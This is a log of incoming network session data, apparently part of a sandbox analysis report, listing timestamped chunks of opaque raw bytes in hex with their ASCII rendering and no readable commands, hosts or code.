2022-04-20 13:31:40 UTC	57	IN	Data Raw: cf fd 70 24 1b 80 e1 87 73 94 0b 76 21 76 6d 38 66 16 9c f2 3e 5c 81 ec f9 dd fc a7 e0 2f 11 7c 1a ba b1 a1 22 24 29 89 a7 f0 ce 5b cc 8b 4f fe ac e4 b5 87 bd bc 16 9f b4 e4 45 71 2e 87 3d 80 1e d1 1b 18 25 76 9f c8 51 12 61 ff ad 27 20 1c 21 25 39 00 0e f9 4f e5 71 45 e8 54 16 59 23 67 38 70 cf d6 3d 36 7d 00 97 71 c5 47 42 cb 84 50 06 77 70 bd fc 0e 33 36 40 18 7b 27 14 ca 2a a1 10 7f 8f d1 c5 90 cc 13 f4 f5 38 05 2e 91 29 68 c8 80 59 67 53 f4 a3 e8 71 6c 77 b7 eb 75 db 15 13 b3 3a 46 88 ac 3e c6 86 9c 14 0f 86 77 a5 c9 ae 47 54 0a f1 8f 2c 19 54 5b a2 47 74 05 5a a9 d6 0c cf 84 33 9f f7 86 dd 33 25 a4 08 75 e0 d0 b4 33 b1 36 67 4f 1d 08 05 7f 30 0e 37 ea d9 79 98 63 2d 8c 38 1a 94 74 58 09 67 0d 0d 26 c1 ca fe fe 0f 5d 08 61 11 6a 48 a1 df 1e a5 c0 0e Data Ascii: p$sv!vm8f>\/\|"$)[OEq.=%vQa' !%9OqETY#g8p=6}qGBPwp36@{'*8.)hYgSqlwu:F>wGT,T[GtZ33%u36gO07yc-8tXg&]ajH
2022-04-20 13:31:40 UTC	59	IN	Data Raw: 03 7a e3 92 18 da 32 d1 66 b5 f7 c1 66 f6 43 b0 62 4b 23 7e c0 4d 06 44 1c 82 0e a1 36 7e 0f 3a 88 6b 7f 3f b9 c2 66 a0 41 2b 99 52 1c 34 d1 d7 4f f7 e5 94 3a 7e 4e fe 62 21 4b ee 0b 71 6d 2a 44 31 d8 f0 42 75 a8 8a f2 cd 47 34 e9 6a 89 81 98 ef f7 90 e9 46 2c 70 98 f2 d8 96 75 05 d0 cd 4d 5e b7 d7 34 2a ec 65 e0 00 2c 01 79 a4 76 e3 66 34 2d 34 84 6b 79 49 6d 41 ad 97 bc e3 99 38 2c 34 dd 9d f1 82 4d 40 30 58 4d 2a 36 1f 30 64 a4 31 24 14 25 3b 35 32 d1 66 0d b2 3d 07 a1 57 81 2c 81 22 41 55 8e b9 13 0b f5 7f 59 3b fd 88 9e 36 99 9c 82 f7 61 e7 f8 4e 08 eb 49 7b 53 28 33 fe 9b e4 20 cd c6 c8 10 c2 2a d0 c4 cc 77 10 00 32 5d a7 54 77 ea 52 f7 fd 17 d6 3f cb 0c 33 a6 10 50 90 95 60 17 38 71 31 7e c3 34 4c 94 ed 16 77 c1 4f 9d 96 e1 5b 25 0f db 41 fd 54 f4 Data Ascii: z2ffCbK#~MD6~:k?fA+R4O:~Nb!KqmD1BuG4jF,puM^4e,yvf4-4kyImA8,4M@0XM60d1$%;52f=W,"AUY;6aNI{S(3 w2]TwR?3P`8q1~4LwO[%AT
2022-04-20 13:31:40 UTC	60	IN	Data Raw: 0d 98 67 1e f2 d7 f6 6d 68 5a 0a 78 0c f6 38 fd 16 fd a9 48 65 65 9a ec 96 2c d1 cc 1b a1 be 94 2e d9 99 82 a4 dc d6 e4 1c 27 e0 9b 6f 34 82 b9 b6 33 c8 39 a9 0e 6f 0d b2 49 93 94 54 ff e1 d9 57 7c 44 14 d4 a5 e9 5c f6 c6 33 c9 ba 63 c2 98 18 e7 da f4 9d 37 69 c7 88 1d eb 5e 89 55 23 67 8b 4e 2e a3 f7 cc 41 87 2d c0 14 8c ea 64 9b c3 5e bd 39 fb 78 e6 f9 07 ef 26 6c 02 c2 c0 02 f7 02 07 b6 56 eb ea eb e1 2b 9d ed b2 fb 27 e5 74 96 29 8d 92 58 a4 a7 7b a9 f9 f7 bd 44 99 29 d6 6c 76 0c 4f 16 0d de 8d 88 73 5b 16 63 5f dc 12 99 3c e7 77 73 78 db 66 66 b2 3d c2 cc 25 d7 fb ce d3 52 a8 c7 d1 85 e8 f1 42 83 e4 1d 74 72 71 43 bd 7a a5 d4 06 56 ec 65 d0 d2 9d a1 8c 9e 3d 7e 72 de 28 5a 9e 57 34 d8 ac 10 50 f7 35 ee 63 04 84 d9 c3 9e e3 9f fd d1 db 97 00 49 b3 8e Data Ascii: gmhZx8Hee,.'o439oITW\|D\3c7i^U#gN.A-d^9x&lV+'t)X{D)lvOs[c_<wsxff=%RBtrqCzVe=~r(ZW4P5cI
2022-04-20 13:31:40 UTC	61	IN	Data Raw: 3d b1 35 a8 99 d6 2a 15 43 35 ed 79 ed 22 65 f8 ec 16 7f d7 53 f2 ff c2 5b 25 10 d1 52 f9 4f d5 70 8f 7a 08 2c e3 f8 a2 f9 44 72 5c 22 66 d3 92 48 c6 85 00 35 17 d0 7e 9d e5 25 f8 34 3f ea cd fc 6f 21 e0 98 33 80 74 a0 16 18 7c 72 6d 2d 0d 51 63 f3 18 eb 89 8d a4 d8 fc b2 8a 4e 05 82 11 9c a7 b0 5d 6a 38 8d bc 89 ae 5a e0 90 58 ea c4 ae b5 96 bc cd ba 9e 98 e8 65 fe 26 9d 2a 85 0f c4 01 08 25 76 9f cb 45 6b 54 b3 ad 23 20 5b 35 25 39 00 0f 3d 33 95 7d 5b f1 4e 18 5b 22 78 3b 8a d1 ed cc 35 2a 75 95 0a 8f 7e 69 ce 9a dd 36 64 63 b9 f1 16 20 36 1f 7a 73 1c 11 83 b1 aa 73 34 13 d8 d8 02 e7 a2 39 8d 21 0a 5b 02 da fc d4 96 c3 71 5e f1 3a e1 76 77 02 3d ea 59 d4 1c 00 bb 2d 43 99 b9 24 c9 6b 63 39 34 8b 0e 90 9a ae 43 56 18 6f 8e 2c 13 5d 51 de 36 74 14 55 a9 Data Ascii: =5C5y"eS[%ROpz,Dr\"fH5~%4?o!3t\|rm-QcN]j8ZXe&%vEkT# [5%9=3}[N["x;5*u~i6dc 6zss49![q^:vw=Y-C$kc94CVo,]Q6tU
2022-04-20 13:31:40 UTC	62	IN	Data Raw: 45 41 a2 b4 09 60 6b 6e 5d 2a 14 a3 b2 35 ab e4 cc d8 61 e3 e7 34 62 c3 25 09 fc 22 25 ea f8 92 23 c5 a3 41 03 c6 2c ed cc d1 81 7e 64 3d 5f d6 4b 60 e1 88 e0 96 7c 86 29 ca c8 2a aa 3c 47 9c e7 c3 16 14 6c ef 02 a7 34 4d 80 f2 3b 5d ba 48 9d 81 d4 43 40 7b db 41 f7 51 d7 70 90 7a f2 3b 31 ee 8c 81 1d 61 58 26 60 ff f1 52 38 8e 3a 2d 53 a1 46 ab 13 c5 15 0d 3b f9 ec fd 70 7a 1d 99 1f db 5f 84 18 1b 7c 7e 55 7d 0a 49 9d f2 25 ec 94 d5 14 d9 d0 ba e7 33 00 ed 85 96 be a5 46 4e 3a 81 a3 8e 58 44 d6 7f 51 c4 a5 e2 e5 94 c3 ec e8 9e 9c 8d 31 e0 31 84 27 5f a6 ae 63 59 db 77 b7 c3 5c 03 12 b3 bc 2f 3b 60 b6 25 15 07 08 25 4d e6 3e 22 fa 51 16 57 32 6b 22 8e df f2 2d 15 f8 4f bb 61 c3 05 27 ca 84 54 10 0b e3 b9 fc 15 29 0b 5c ee 7a 1a 06 d7 35 5d 6a 03 9b d2 91 Data Ascii: EA`kn]5a4b%"%#A,~d=_K`\|)<Gl4M;]HC@{AQpz;1aX&`R8:-SF;pz_\|~U}I%3FN:XDQ11'_cYw\/;`%%M>"QW2k"-Oa'T)\z5]j
2022-04-20 13:31:40 UTC	63	IN	Data Raw: 6f 71 59 92 8b 6b 4e 05 74 57 d2 18 78 2e 35 70 74 3b c6 10 3b ba 3d d7 c6 3e 52 a1 e2 c3 55 d8 42 b5 a5 52 de 3e 82 33 93 71 6f 07 24 b5 7a be c3 0d 4f 14 64 ed d9 93 ad 52 a4 19 75 52 ec 82 45 95 57 38 c7 b1 0b 4d 09 25 c4 70 08 65 d3 8b 9d fe bb 37 dd c7 80 0b 32 fb 86 cd 1b ea 8d a6 18 5e 0d b4 52 83 0e 2e c4 c7 9e 03 58 83 4f 34 f9 c4 14 5b e5 ec ba 3a 5e 4c 29 16 de 2e 19 d0 14 9f 62 a3 ce bc 6b ce e6 df 42 1b 68 75 db 2b d6 47 26 b9 1a f2 14 7f 0f 34 98 47 5a 52 30 8c 66 aa 5a 2b be 49 17 50 86 29 4e df e0 a4 56 1d 35 b0 66 09 c7 f9 1c 08 36 56 45 3b df dd 5f 53 ed 58 0d 32 4d 2b 6b 49 89 89 86 ea 0b ea 8b 5d 2f 08 f8 89 86 92 5d 89 c7 a2 35 77 ca dc 12 23 91 21 d8 6f da 0a 52 88 60 f5 7c 33 23 ad cd 00 7d 3f 74 4d a7 28 cc ce 66 39 0a 3c db e5 95 Data Ascii: oqYkNtWx.5pt;;=>RUBR>3qo$zOdRuREW8M%pe72^R.XO4[:^L).bkBhu+G&4GZR0fZ+IP)NV5f6VE;_SX2M+kI]/]5w#!oR`\|3#}?tM(f9<
2022-04-20 13:31:40 UTC	65	IN	Data Raw: 34 02 4d ec 2c c1 7e 6d d4 ee 86 76 1b 62 b8 f6 05 3d 29 48 fa 84 0a 22 d2 2f d8 25 2f 8f d5 c2 65 1b ab 23 9f 95 7f 41 14 4c e3 d2 ef 2b 78 43 ed bb e3 60 6e 76 b7 eb 75 c9 01 63 e6 29 43 8c be 40 84 95 62 11 3c 87 1f 08 f5 d1 46 50 3a 0e 84 2c 1e 56 b1 b0 6e 54 16 24 f8 c2 f2 ca aa 3f e6 d0 c8 dd 37 4e 57 72 75 e6 f2 d7 27 a2 39 71 44 77 67 fb 7e 16 1e 3e 91 8e 63 66 66 38 f7 c5 9e 25 68 4b 08 64 67 51 39 d1 30 d7 a9 07 65 6f 88 f6 fa 23 b0 cc 11 be da 0b 29 c6 96 54 d9 f1 d9 ec 71 73 8f ef 6b 32 e7 d9 a6 20 c4 26 b2 03 70 1e 5b b6 be ac 54 9c a4 d9 50 66 bc 03 fe 0a 5c 48 cc c6 33 c7 a7 75 aa c5 18 f6 d8 84 0d c9 68 ed a9 59 31 a3 7c bc 26 05 ec 48 2e b8 ee d3 b4 86 06 d5 fd 9e c0 66 9d ce 41 ad d8 f0 aa e5 fe 00 fc af a9 1a c3 15 fd dd 02 14 86 41 db Data Ascii: 4M,~mvb=)H"/%/e#AL+xC`nvuc)C@b<FP:,VnT$?7NWru'9qDwg~>cff8%hKdgQ90eo#)Tqsk2 &p[TPf\H3uhY1\|&H.fAA
2022-04-20 13:31:40 UTC	66	IN	Data Raw: 29 97 3a c8 94 29 0a 58 ff c9 e5 70 37 2e ac 31 7a e7 3d 6c 45 a5 5b 64 de 98 3c 0e b2 d9 99 fd 96 59 cb e8 51 f4 2a 3c 1c 23 63 67 e6 fe 1f 26 05 cb 03 04 68 1f 70 3d 07 af 7e fa 75 92 12 47 4b 80 be 1a 64 0e 7f 59 20 fc b1 9a 15 86 9e 82 d8 61 f6 fc 03 f6 ea 74 1c fe 53 85 f4 97 e2 5d d4 a8 5d 1a ea 36 fd c8 c2 74 63 5b 36 5d bc 01 7e 1f 8d ca ec 01 fc 9d c0 d2 3d d0 2d 57 98 f0 15 0d 39 7b e7 75 f6 3d 5e 80 ed 07 71 d8 b7 9c a7 c4 5d 03 cb c1 52 f9 4f d5 70 8f 66 08 2c e3 e0 a2 f9 b2 72 5c 22 59 6d ef 49 cc 90 18 3c 7c a4 6f 99 f3 c4 eb 0b 3d ed f0 42 6d 26 1a 99 0e 82 45 7a 08 21 61 74 16 8e 09 49 99 da a2 e5 8b fc f1 cb f8 b6 f4 34 1c 7c 1a ba aa a1 22 d8 29 89 a7 e1 41 5a cc 8b 78 f2 be e1 bf 9c a1 b1 ec 9e 89 e6 71 e8 cf 8f 02 82 16 ec 5f 1a d1 64 Data Ascii: ):)Xp7.1z=lE[d<YQ*<#cg&hp=~uGKdY atS]]6tc[6]~=-W9{u=^q]ROpf,r\"YmI<\|o=Bm&Ez!atI4\|")AZxq_d
2022-04-20 13:31:40 UTC	67	IN	Data Raw: da 3f 8c dc 83 02 9f ec 6c 9d 54 57 84 cc da 56 e4 d2 82 dd 77 be fc 3d ea 29 e6 0a 03 17 44 c5 54 c8 e3 2b c7 6d b8 37 2d f7 72 ae 80 8a be 71 a7 9e ac b5 07 f0 88 67 b1 24 a9 35 19 d5 4b 79 59 cd 89 93 7c 6b 02 7f 55 10 ee 86 2f 19 67 5b 35 cc 1d 28 b8 c3 cd cf 26 ae b7 cd fb 87 c7 5b d7 86 ea f1 e8 82 e4 11 0d b5 1e 37 b7 5c ad c3 7d 9d ea 65 cb d9 8b b4 5d 94 31 70 52 de a0 50 43 87 30 c7 a0 0b 40 66 3f c6 77 2b 7f d8 ef 02 eb 39 01 d1 db 93 0b 25 7b 90 ea ee cb a4 a5 0f cd 0f 69 e2 8b 11 20 32 d1 23 17 5d 8f 7f c5 96 31 36 d8 e0 c6 ba 32 46 ce 0f 3b d5 b3 1d d0 14 40 68 7e 5e aa 67 f6 41 c7 d3 0c 46 69 cc 3e b9 5f 24 a6 05 c3 fe 64 21 36 be 5d 76 3d 42 86 b8 c7 4d 3f 23 42 18 58 bb da 46 ec f1 89 07 5c 30 b0 62 a1 45 26 4e 05 04 18 49 32 ca cd 6e 7f Data Ascii: ?lTWVw=)DT+m7-rqg$5KyY\|kU/g[5(&[7\}e]1pRPC0@f?w+9%{i 2#]162F;@h~^gAFi>_$d!6]v=BM?#BXF\0bE&NI2n
2022-04-20 13:31:40 UTC	68	IN	Data Raw: 32 89 a4 88 ae 5a e0 83 48 e3 bf e6 a3 68 b9 8e ea 89 93 e2 69 f9 cf 8f 02 87 35 c2 35 e6 cd 5d b3 cf 77 12 1a 9b ad 27 24 75 48 24 28 1c 12 08 47 e1 7a 4c 05 50 3a 4a 3e 73 2a 89 d8 04 33 18 04 59 9c 71 c6 66 97 cb a8 52 32 66 48 5b fe 64 f1 29 4f e2 50 29 0c cb 50 64 6b 2f 8b fb c1 1e 7b b8 13 99 bd 2b 40 14 46 84 c8 80 4e 6e 48 cc bd e8 67 7e 93 48 c6 5b c6 08 18 af 3f bd 89 91 39 ce 9e 62 12 3b 77 74 f2 98 85 45 7b d3 10 f4 e4 19 4b 4b 9b 60 76 17 22 7e c2 f2 ca 82 3c 9d 8c db ed 36 21 d1 72 75 e0 a8 ab 26 b3 31 70 d3 36 13 fb 7c 16 06 23 92 8d 0a 75 67 14 eb 65 e3 6e 40 af 0c 67 1a 22 39 d1 27 cf d5 06 7b 65 9e ee e7 57 b0 dd 19 b2 5c 25 2e d9 9d a0 de cb d5 ea 0f 33 8b 9c 81 34 88 a0 05 26 c0 3c 90 ec 70 19 4a 62 bf 80 45 b4 ac d9 e9 78 42 02 d2 2b Data Ascii: 2ZHhi55]w'$uH$(GzLP:J>s*3YqfR2fH[d)OP)Pdk/{+@FNnHg~H[?9b;wtE{KK`v"~<6!ru&1p6\|#ugen@g"9'{eW\%.34&<pJbExB+
2022-04-20 13:31:40 UTC	70	IN	Data Raw: 66 f2 47 26 b2 45 1f 4f 88 ca 4f f3 fa a7 2a 7c 35 a4 62 21 4f db 1e 02 1e 1c 46 3b d5 f5 40 63 82 b7 0d 32 46 36 64 45 89 95 99 e5 f5 ba a5 46 2c 11 99 89 86 8a 75 01 c6 a2 3f 5f b7 c6 22 21 97 38 e4 00 28 7f 52 82 6e e6 64 62 2f af 67 04 45 6c 62 45 b1 72 dd db 8c 69 32 2c da 8b f6 9a 5a 6d b7 2c 4d 2c 11 1a 37 4b 6f 08 fe 1f 28 27 58 15 89 38 62 c8 3c 14 b8 45 e9 63 9e 28 d8 5a ae d0 22 65 6b 75 4a 24 fc b1 8a 06 e0 8e 97 c9 75 7d eb 1e 19 ed 4f 85 a6 28 33 f5 84 f0 32 d3 bf 42 1d 5f 3d ea a7 67 7e 7f 42 5d 5a ac 05 6a f7 bd fb ff 12 81 3e 4d 88 39 ae 3d 45 8f eb 2a 01 27 76 70 68 fe 5b e2 85 ed 1c 1a 9a 49 9d 81 d3 4f 38 d9 c8 55 ec 5b d5 61 1e dc c4 82 c9 f9 cf 32 0b 72 56 31 fc a1 ee 49 c7 9c 01 3e 6f b2 61 bd 72 2b fd 48 03 eb dc f2 63 31 0f 9d 91 Data Ascii: fG&EOO\|5b!OF;@c2F6dEF,u?_"!8(Rndb/gElbEri2,Zm,M,7Ko('X8b<Ec(Z"ekuJ$u}O(32B_=g~B]Zj>M9=E'vph[IO8U[a2rV1I>oar+Hc1
2022-04-20 13:31:40 UTC	71	IN	Data Raw: d8 ce 0a 1d 8f ef e2 1b 88 a6 a6 2b d5 2a b3 08 61 12 50 b6 be ac 5f a4 af f9 57 78 4e 1f c1 20 5e 22 89 d0 cd c2 89 75 c6 8d 13 f6 cd e0 8e c2 96 ea ad 27 1b a6 4e 88 c3 95 67 59 2a a3 f7 0c ac 82 09 d2 05 45 e0 63 fe c9 41 aa dc ec 5d fd 08 2a 6d ab 91 f7 2c ee 10 f7 2a db 86 52 ed 73 79 e2 03 64 ed b2 e0 36 82 7e ae 8e 95 84 5e cb 61 7d b5 0d a7 80 50 97 11 b9 37 76 0c 5a 7d 59 04 9e 85 7c 57 02 72 85 da c2 0b 00 19 76 5e 0b cd cd aa b2 3d c7 e6 32 ac a0 c4 fb 03 c5 5b d7 9e 63 de 3e 82 e5 04 6a 79 16 21 ba 52 be cb 12 4f 48 74 c9 c3 84 26 23 9f 11 74 f0 cf 28 42 9a 14 92 d6 a8 1a 40 7b 75 e8 7c 0a d8 c9 e7 98 f0 e3 3f 80 db 93 02 90 fb 86 c8 ec fa a8 b1 1b 56 88 e6 43 8b 10 33 30 d7 b8 17 64 1a 66 d8 10 2c 77 5b ea de ad a6 4f 55 00 03 42 82 12 ca 03 Data Ascii: +aP_WxN ^"u'NgYEcA]m,Rsyd6~^a}P7vZ}Y\|Wrv^=2[c>jy!ROHt&#t(B@{u\|?VC30df,w[OUB
2022-04-20 13:31:40 UTC	72	IN	Data Raw: ee ab 9d 1a 61 5a 26 60 fd f1 43 38 8e 3a 20 7a df aa 9d ef 3e c2 f5 3b ea da e7 7b 26 18 99 0e 80 47 7a 08 21 64 74 16 e7 09 49 99 de 54 fd 98 f0 ea c9 fa a9 ec ce 05 ae 10 94 aa de 83 6a 29 8d bc 95 43 5d cc 90 56 f7 b4 1f b4 ba b7 a0 93 4b 98 e2 6a c9 e3 8e 2e 83 01 cc 0d 03 db 66 b5 c3 51 ee 1b 9f a6 25 30 0e 9e 24 39 0e 06 34 4f e7 7d 4a fd 4e 03 b6 27 54 26 8c df ff 4f e6 06 4e 93 6e d7 6d 6f ca 95 56 03 9a 62 94 f9 08 3a 32 5c e0 7a 1a 08 df d3 a2 47 2c 97 c2 c7 1e 6a ad 35 65 bc 2f 43 03 55 f3 c8 91 59 67 54 19 a7 c4 62 42 68 71 c6 a7 21 fc 32 a8 29 43 93 8d 3e d9 60 62 15 23 89 75 de 9a ac 3c 8c 30 12 8b 00 12 49 20 41 42 74 12 82 57 c2 f2 ce aa 47 4a 8c c8 d9 1f 08 c9 64 08 37 da ab 22 a0 26 1a 87 18 13 ff 7c 67 d4 35 91 8d 7b e3 b5 14 ed c3 8a Data Ascii: aZ&`C8: z>;{&Gz!dtITj)C]VKj.fQ%0$94O}JN'T&ONnmoVb:2\zG,j5e/CUYgTbBhq!2)C>`b#u<0I ABtWGJd7"&\|g5{
2022-04-20 13:31:40 UTC	73	IN	Data Raw: 07 05 b4 49 98 0b 3f 02 d5 a9 01 62 9d 68 e1 f9 3a c7 47 f1 c3 92 c1 5e 5f 1f 39 0c 8c 2c c3 0f c0 73 b8 c0 88 99 f7 65 d0 40 0a 63 55 01 26 28 4c 19 ac 12 f9 7c 65 0f 2f 85 47 5b c3 c3 a0 6d b1 4e 37 aa 9f 0c 44 97 f9 5c e8 fb b6 31 63 3f 4e 63 0d 42 e9 0d 86 1a 10 c6 3b d5 db 5f 68 91 b1 0d 23 5c 2b 7d bb 88 ad 93 f4 fe f1 71 55 27 6b 81 9a 9d 96 64 1a d9 9b c1 5e 9b d7 61 12 96 3e e6 0a 37 30 41 99 7f f4 6b 2d d5 bb 1f 0b 40 36 76 97 b4 2b cc d7 8b 23 26 36 c3 86 c5 6a 5d 69 54 3d 46 3b 3a ce 32 6a 03 6c ed 04 22 3c 44 1d 10 9c 63 e4 30 05 ba 5f d2 1e 80 22 4f 47 a2 aa 09 7f 6b 6e 42 2e f5 5c 9f 01 a3 8e 89 c2 b7 f4 f3 07 28 f8 43 08 ed 33 2c f8 69 e7 0f cf b8 56 0a 14 3f f7 d7 c5 6c 64 48 23 46 b2 30 9e e0 a0 e1 e8 1a 8c 36 f6 c1 22 ae 2d 4d 87 ea c3 Data Ascii: I?bh:G^_9,se@cU&(L\|e/G[mN7D\1c?NcB;_h#\+}qU'kd^a>70Ak-@6v+#&6j]iT=F;:2jl"<Dc0_"OGknB.\(C3,iV?ldH#F06"-M
2022-04-20 13:31:40 UTC	75	IN	Data Raw: 49 c9 dd 39 32 ce 63 7a fa 0c b8 29 b3 36 70 84 0f c5 76 51 1c 00 34 82 8d 7b 89 68 05 e9 d1 f4 6e 40 bd 0c 67 16 0b 28 dd 5b 33 d3 06 6f 5c b2 ef 95 57 b8 ec 15 25 d1 0b 6e 46 9f aa d8 de c7 e2 65 f0 8e ef 65 5b b9 a7 a7 2a e6 c3 b8 08 76 0a 58 59 ab 91 46 8c 87 21 57 78 44 11 c0 2c 32 10 82 c6 33 c3 a5 76 f1 de 43 d5 dc eb 91 c9 68 eb 71 1a 69 8b 40 aa 3c 60 2f 5f f8 3f de da bf 87 12 d0 12 8d fd 77 8d a9 62 aa c7 fa 54 e4 d2 22 97 f1 b9 33 3c ea 08 df cd 15 86 58 ef 77 a7 e3 2b c1 82 78 ea 31 fc 5e bc 9f 8a 83 4b a2 ae 55 4c 07 f6 97 47 96 f7 07 36 76 0c 5a 7d 4e cd 8b 9b 50 bf 05 65 59 de 13 5b b7 19 76 5f 72 f4 1d 28 b8 15 e8 ce 26 a6 7d 4c d3 56 c7 53 f1 81 6e d9 3e b1 9e 14 73 64 71 fa bc 7a a5 a4 23 44 ea 6f e9 2e 82 aa 74 8c 06 64 45 cf 30 52 b6 Data Ascii: I92cz)6pvQ4{hn@g([3o\W%nFee[*vXYF!WxD,23vChqi@<`/_?wbT"3<Xw+x1^KULG6vZ}NPeY[v_r(&}LVSn>sdqz#Do.tdE0R
2022-04-20 13:31:40 UTC	76	IN	Data Raw: b8 56 07 d4 a0 ad c8 c8 7e dd 59 39 4e a1 14 6c f5 98 fe 74 51 87 29 c1 c1 34 bf 31 40 8f 66 2c 1a 2f 6d 71 68 e4 23 65 18 ed 16 7f e7 58 90 9d 52 77 30 1e d7 57 67 67 d5 74 90 61 26 21 cf ef bb aa 1e 72 5c 2c 59 5b ee 49 cc fb 1a 2f 78 bf 6d 9a fe 3d fb 20 b5 5d c4 22 66 a9 6d 4a 1e 86 55 97 01 1c 67 62 45 6f 0b 49 9b e5 b9 e3 8b f6 eb cb f0 a7 e9 26 15 87 33 87 be a3 53 c8 38 85 b0 94 41 50 d8 95 47 65 ed e1 b5 97 ab af f9 93 8e f5 f2 f0 3c a6 b6 85 1e ca 0f 08 cd e7 9f d7 56 1b 0c 29 85 36 24 73 42 37 3c 7e 15 23 5c fa 70 85 f7 40 1e 64 21 69 22 e1 93 fa 32 3e da 47 86 76 e9 83 69 ca 82 5b 10 17 b2 b9 fc 15 25 20 5e ef 6b 0c 61 1a 2d a3 61 23 51 dd d0 17 57 ac 32 92 d2 5e 40 14 4c 29 c0 aa 5f 78 43 e6 ba e8 60 6b 6d a7 ea 09 e0 02 14 a8 29 43 88 bf 3b Data Ascii: V~Y9NltQ)41@f,/mqh#eXRw0Wggta&!r\,Y[I/xm= ]"fmJUgbEoI&3S8APGe<V)6$sB7<~#\p@d!i"2>Gvi[% ^ka-a#QW2^@L)_xC`km)C;
2022-04-20 13:31:40 UTC	77	IN	Data Raw: a0 f1 99 b3 ad e4 17 63 7b 3f 26 98 65 87 da 33 53 f5 25 e9 22 82 aa 78 ec c2 74 52 d4 33 7c 8f 62 21 e6 cf d1 56 f7 2e fb 5b 1a 5d f0 26 83 e1 ee 9b 98 d9 93 05 1a 10 8f db e3 84 eb a5 0f 47 16 9c 44 9a 17 31 12 a9 51 00 73 8c a9 de 16 1d c7 4d f1 e0 d5 67 5e 5f 13 c9 d9 99 c6 c9 13 ca bc b6 d8 a0 b9 e7 6c f6 6f 1b 68 77 d7 0e 00 68 0a a8 07 04 6f 79 25 38 b4 19 0a 3d c2 8e 66 a0 45 92 b2 49 1f 6e 88 d7 4f 26 fb a7 2a 6d 35 b0 62 21 4f f8 1c 00 1e 2b 44 cc d5 db 40 42 82 aa 0d 2a 46 34 64 54 89 81 99 e5 f5 eb a7 44 2c 74 9b 8e 84 96 75 f4 c6 a2 3f a3 b5 dd 12 25 97 3e e0 00 28 0a 52 80 7f e5 70 99 28 ba 33 2e 51 3d 6c 98 a4 20 d3 d2 98 38 26 27 d8 99 f7 94 5c 45 5f 2a 4d 2a 3c f3 22 61 1c ae fd 1f 22 22 5f 02 04 7f 62 c8 3c 14 9b 51 fa fa 81 22 45 ce bd Data Ascii: c{?&e3S%"xtR3\|b!V.[]&GD1QsMg^_lohwhoy%8=fEInO&m5b!O+D@BF4dTD,tu?%>(Rp(3.Q=l 8&'\E_M<"a""_b<Q"E
2022-04-20 13:31:40 UTC	78	IN	Data Raw: 22 d3 54 f4 72 ae 91 9e 81 57 a4 a7 72 aa 1e 08 90 78 bd 3b a0 22 5e 5d 49 79 59 c9 00 85 78 46 04 76 51 dc 1a 90 3e 13 6c c5 72 c8 1d 28 b8 9f d7 c0 32 b8 b7 d8 fb cb c7 5b db 9a f4 ca 31 82 f5 18 7d 64 e0 36 91 07 bb 1b 90 45 ea 64 e9 c0 82 aa 78 b7 44 77 52 d8 3b d7 99 44 30 c6 b3 08 47 fc 32 ef 54 1a 7a d8 e5 20 f0 ef a4 ce e3 1f 52 32 ea 8f 79 f4 e0 b9 b4 06 ef 14 bf 5a 9d 9d 71 3a c6 b3 a3 62 8d 6d c8 8b 6a eb 4a e1 64 ab 31 4d 55 08 1f ca 87 03 5d 46 c0 62 a2 cc a6 76 fa 5f c9 de 0a 64 6a d2 bb 39 4a 12 bf 91 cb 63 67 19 a2 8f 54 6c 2b 5e 9d 6a b7 6d ba b2 49 15 69 97 da 5c fc fb b6 25 63 27 4e 63 0d 65 e9 19 18 92 7a 44 3b d4 f3 b8 63 82 a0 1a be 16 34 64 44 a1 79 99 e5 ff c3 44 46 2c 7e 8c 5f 0b b9 75 01 c7 b1 3b 40 a4 ce 1d 29 86 31 ff 0a d6 0b Data Ascii: "TrWrx;"^]IyYxFvQ>lr(2[1}d6EdxDwR;D0G2Tz R2yZq:bmjJd1MU]Fbv_dj9JcgTl+^jmIi\%c'NcezD;c4dDyDF,~_u;@)1
2022-04-20 13:31:40 UTC	79	IN	Data Raw: a7 48 f6 73 48 2e 2a 0c 6a f7 5d e1 77 48 fe 40 13 59 20 17 ff 8f ce f0 23 31 1e 21 40 70 c1 74 78 cf 9c 3f c1 65 63 b2 f4 1c 59 7b 4f e6 70 18 0a d9 28 cc 80 2e 8f db d2 19 6a ac 32 9f ab 12 44 9a f1 9a 12 81 5f 72 48 39 bc f9 65 06 81 48 ea 53 d7 6c f5 a9 29 49 54 63 31 d0 b9 64 1c 4c d4 75 de 90 72 40 78 79 12 8f 26 33 4b 4e ad 42 74 16 5f fa c2 e8 a8 a8 32 9d 8c c8 dd 31 21 c5 72 1d 96 da a1 26 a2 33 67 45 28 17 fb ff 1c 00 35 18 89 79 89 73 1f 9e 2e e4 6b 62 47 7f 8d 1d 08 33 dc 3d f7 d6 69 37 65 9e e4 fa 85 b0 cc 11 b6 d7 78 fa d8 9f a0 cb d8 c7 eb 1b 3b e0 3a 6e 34 82 b7 a2 38 a1 ee b9 08 7a 08 49 50 d0 58 57 84 a5 d1 54 17 10 02 d2 21 4d 37 93 c3 5c 28 a4 76 db 8d 1f e7 db fa 95 df 79 ef 0f 92 5f 79 77 aa 36 61 46 52 3f b7 9e 36 be 86 0b ca 6c 72 Data Ascii: HsH.*j]wH@Y #1!@ptx?ecY{Op(.j2D_rH9eHSl)ITc1dLur@xy&3KNBt_21!r&3gE(5ys.kbG3=i7ex;:n48zIPXWT!M7\(vy_yw6aFR?6lr
2022-04-20 13:31:40 UTC	81	IN	Data Raw: 67 46 8d 97 b1 24 f5 eb a1 55 29 65 9e 9f 78 95 7e 06 ea b5 17 a2 b5 dd 14 38 92 b2 66 00 28 0b 7a 49 7e e5 7a 40 c4 bb 33 0b 2b 15 ab 40 a7 2a d6 b1 ca 38 26 2d d2 90 89 f9 5c 45 5b 2a 4b a4 8b 0e 09 a5 1c 5f f8 0c 27 3c 5a 14 fa 61 6e c0 11 10 83 a9 f8 75 87 33 40 c7 3b bf 1a 65 43 b4 58 31 e0 d1 71 2c a9 95 f8 d1 4b e7 f8 0b 38 e2 58 9a fc 28 33 78 97 e6 32 c7 aa 23 7a c2 2c f8 a7 d9 7e 7f 4e 21 58 bc 00 76 c9 49 e7 f9 09 94 2d d1 d6 11 3a 3d 56 92 f7 3f 0d b5 77 ed 79 f2 27 4a 95 ea 00 0b a8 49 9d 8f 60 4a 28 18 cc 69 6e 4e c4 7e 32 7a f1 35 cb 61 17 aa 99 73 5c 2c d3 ea e9 50 c2 2d 07 28 17 b6 7f 9d e9 36 e9 59 2a eb dc f2 0e 5b 1e 99 1b 83 56 95 0d 05 67 f8 da 2a 21 8c 9d f2 32 f7 8d e7 ec ce 02 b5 ef 36 28 95 33 6b bc 